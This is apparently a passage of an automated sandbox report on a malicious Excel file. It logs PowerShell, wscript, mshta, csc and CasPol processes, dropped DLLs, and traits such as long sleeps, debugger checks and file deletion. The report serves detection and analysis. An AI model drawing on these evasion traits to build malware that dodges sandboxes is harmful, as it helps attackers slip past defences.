                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\wscript.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeProcess information set: NOOPENFILEERRORBOX
                Source: Sipari#U015f_listesi.xlsStream path 'Workbook' entropy: 7.99897244199 (max. 8.0)
                Source: AD430000.0.drStream path 'Workbook' entropy: 7.9989469575 (max. 8.0)

                Malware Analysis System Evasion

                barindex
                Delayed program exit found
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0040E54F Sleep,ExitProcess,29_2_0040E54F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,30_2_0040DD85
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeCode function: 8_2_000007FE89642C63 sldt ax8_2_000007FE89642C63
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,29_2_004198C2
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-TimerJump to behavior
                Source: C:\Windows\System32\wscript.exeWindow found: window name: WSH-Timer
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3468Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6479Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2164Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6516Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4587
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1518
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 553
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6805
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1012d3sk\1012d3sk.dllJump to dropped file
                Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\oerqobky\oerqobky.dllJump to dropped file
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeAPI coverage: 6.2 %
                Source: C:\Windows\System32\mshta.exe TID: 3660Thread sleep time: -360000s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3844Thread sleep count: 3468 > 30Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3844Thread sleep count: 6479 > 30Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3896Thread sleep time: -120000s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3908Thread sleep time: -922337203685477s >= -30000sJump to behavior
                Source: C:\Windows\System32\mshta.exe TID: 4024Thread sleep time: -300000s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1960Thread sleep time: -14757395258967632s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1980Thread sleep time: -60000s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1960Thread sleep time: -1200000s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1960Thread sleep time: -600000s >= -30000sJump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 300Thread sleep count: 4587 > 30
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 300Thread sleep count: 1518 > 30
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 772Thread sleep time: -60000s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3024Thread sleep time: -922337203685477s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2580Thread sleep time: -2767011611056431s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3136Thread sleep count: 553 > 30
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3136Thread sleep count: 6805 > 30
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3392Thread sleep time: -60000s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3384Thread sleep time: -12912720851596678s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3384Thread sleep time: -1200000s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3384Thread sleep time: -600000s >= -30000s
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 828Thread sleep time: -922337203685477s >= -30000s
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 3692Thread sleep time: -120000s >= -30000s
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe TID: 2356Thread sleep time: -60000s >= -30000s
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeLast function: Thread delayed
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0040B335 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,29_2_0040B335
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0041B42F FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,FindClose,RemoveDirectoryW,GetLastError,FindClose,29_2_0041B42F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0040B53A FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,29_2_0040B53A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0044D5E9 FindFirstFileExA,29_2_0044D5E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_004089A9 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,__CxxThrowException@8,29_2_004089A9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00406AC2 FindFirstFileW,FindNextFileW,29_2_00406AC2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00407A8C __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,__CxxThrowException@8,29_2_00407A8C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00418C69 FindFirstFileW,FindNextFileW,FindNextFileW,29_2_00418C69
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00408DA7 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,29_2_00408DA7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0040AE51 FindFirstFileW,FindNextFileW,30_2_0040AE51
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 31_2_00407EF8 FindFirstFileA,FindNextFileA,strlen,strlen,31_2_00407EF8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 32_2_00407898 FindFirstFileA,FindNextFileA,strlen,strlen,32_2_00407898
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_00406F06 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,29_2_00406F06
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_00418981 memset,GetSystemInfo,30_2_00418981
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000Jump to behavior
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 600000
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Caches\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeFile opened: C:\Windows\SysWOW64\config\systemprofile\AppData\Local\
                Source: powershell.exe, 00000008.00000002.486845757.000000001A717000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: nicrosoft\Internet Explorer\Quick LaunchGfs
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeAPI call chain: ExitProcess graph end nodegraph_31-34269
                Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 29_2_0043A65D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,29_2_0043A65D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeCode function: 30_2_0040DD85 memset,CreateFileW,NtQuerySystemInformation,CloseHandle,GetCurrentProcessId,_wcsicmp,_wcsicmp,_wcsicmp,OpenProcess,GetCurrentProcess,DuplicateHandle,memset,CloseHandle,_wcsicmp,CloseHandle,30_2_0040DD85
